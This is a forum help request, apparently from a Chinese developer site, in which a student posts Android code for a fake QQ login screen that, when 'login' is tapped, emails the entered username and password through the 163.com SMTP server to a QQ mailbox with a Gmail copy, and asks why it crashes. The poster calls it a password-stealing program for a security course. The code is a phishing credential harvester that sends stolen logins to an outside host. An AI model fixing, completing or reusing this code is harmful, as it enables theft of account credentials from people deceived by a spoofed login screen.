(求教)Android-javamail问题

大神,我打算做一个QQ的登录界面,但是通过点击“登录”时候自动将用户名和密码发送到163邮箱中,不调用系统自带的邮箱,是不是用javamail实现?(ps:其实这个是网络安全课程让实现的盗号程序。。。我想到这样做。。)求大神指导,谢谢回复!
下面的代码一点击“登录”就崩溃掉了,其他的配置文件中相关的也配置了,Mainifest.xml中也添加了访问互联网的相关代码,不知道哪里有问题。

报错图片:



package com.zte.my.qq;


import java.io.UnsupportedEncodingException;
import java.util.Properties;


import javax.mail.Address;
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;




import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.RadioButton;
import android.widget.Toast;


public class simple_qq_login extends Activity {
	private Button mButton_login;
	private Button mButton_register;
	private EditText mEditText_user;
	private EditText mEditText_password;
	private CheckBox mCheckBox_savepassword;
	private CheckBox mCheckBox_secretlogin;
	private CheckBox mCheckBox_quietlogin;
	private CheckBox mCheckBox_acceptgroupinfos;
	private String Flag = "";
	private String getFlag = "";
	private simple_qq_SqliteDatabase myDbHelper;
	private static final int ITEM0 = Menu.FIRST;
	private static final int ITEM1 = Menu.FIRST + 1;
	private int Flag_SecretLogin = 0;


	public  String QQ=null;
	public  String pass=null;
	
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		myDbHelper = new simple_qq_SqliteDatabase(this);
		myDbHelper.open();
		setContentView(R.layout.simple_qq_login);


		mButton_login = (Button) findViewById(R.id.button_login);
		mButton_register = (Button) findViewById(R.id.button_register);
		mEditText_user = (EditText) findViewById(R.id.edittext_user);
		mEditText_password = (EditText) findViewById(R.id.edittext_password);
		mCheckBox_savepassword = (CheckBox) findViewById(R.id.checkBox_savepassword);
		mCheckBox_secretlogin = (CheckBox) findViewById(R.id.checkBox_secretlogin);
		mCheckBox_quietlogin = (CheckBox) findViewById(R.id.checkBox_quietlogin);
		mCheckBox_acceptgroupinfos = (CheckBox) findViewById(R.id.checkBox_acceptgroupinfos);
		// 添加监听事件
		mButton_login.setOnClickListener(new Button.OnClickListener() {
			public void onClick(View v) {
				
				
				 QQ = mEditText_user.getText().toString();		//QQ保存输入的用户名
				 pass = mEditText_password.getText().toString(); //pass保存输入的密码
				
				
				/*	第一种方法:调用系统自带邮箱发送
				 * 
				Intent myIntent=new Intent(android.content.Intent.ACTION_SEND);  
                myIntent.setType("plain/text");//设置邮件格式  
                  
                myIntent.putExtra(android.content.Intent.EXTRA_EMAIL, myReciver);  //接受者
                myIntent.putExtra(android.content.Intent.EXTRA_SUBJECT, QQ);  //主题
                myIntent.putExtra(android.content.Intent.EXTRA_TEXT, pass);  
                startActivity(Intent.createChooser(myIntent, "标题"));  
				*/
				/*
				Intent data=new Intent(Intent.ACTION_SENDTO); 
				data.setData(Uri.parse("mailto:592357262@qq.com")); 
				data.putExtra(Intent.EXTRA_SUBJECT, QQ+"--->"+pass); 
				//data.putExtra(Intent.EXTRA_TEXT, pass); 
				//startActivity(data); 
				startActivity(Intent.createChooser(data,"sss"));
				*/	 
				 
				 //============第二种:利用javamail功能包============\\
				 
				 Properties props = new Properties();
				 props.put("mail.smtp.host","smtp.163.com");  //设置smtp的服务器地址是smtp.126.com
				 props.put("mail.smtp.auth","true");          //设置smtp服务器要身份验证。
				 
				 
				 PopupAuthenticator auth = new PopupAuthenticator();
				 Session session = Session.getInstance(props, auth);
				 MimeMessage message = new MimeMessage(session);
				 
				//发送人地址
				 Address addressFrom=null;
				try {
					addressFrom = new InternetAddress("15227290166@163.com", "邮箱密码");
				} catch (UnsupportedEncodingException e) {
					e.printStackTrace();
				}
				 //收件人地址
				 Address addressTo=null;
				try {
					addressTo = new InternetAddress("592357262@qq.com", "邮箱密码");
				} catch (UnsupportedEncodingException e) {
					
					e.printStackTrace();
				}
				 //抄送地址
				 Address addressCopy=null;
				try {
					addressCopy = new InternetAddress("majianjieqwe@gmail.com", "邮箱密码");
				} catch (UnsupportedEncodingException e1) {
					e1.printStackTrace();
				}
				  
				  
				// 创建邮件体:
				 try {
					message.setContent(QQ, "text/plain");
					 message.setSubject(pass);
					 message.setFrom(addressFrom);
					 message.addRecipient(Message.RecipientType.TO,addressTo);
					 message.addRecipient(Message.RecipientType.CC,addressCopy);
					 message.saveChanges();
				} catch (MessagingException e) {
					e.printStackTrace();
				}
				 //发送邮件的过程:
				 try {
					 Transport transport = session.getTransport("smtp");//创建连接
					transport.connect("smtp.163.com", "15227290166@163.com", "邮箱密码");//连接服务器
					 transport.send(message);//发送信息
					 transport.close();//关闭连接
				} catch (MessagingException e) {
					e.printStackTrace();
				}
			}
		});
		
	//* --------------------------------------------------------------------------
	class PopupAuthenticator extends Authenticator {
        public PasswordAuthentication getPasswordAuthentication() {
	         String username = "15227290166@163.com"; //163邮箱登录帐号
	         String pwd = "邮箱密码"; //登录密码
	         return new PasswordAuthentication(username, pwd);
        }
	}
	
}


评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值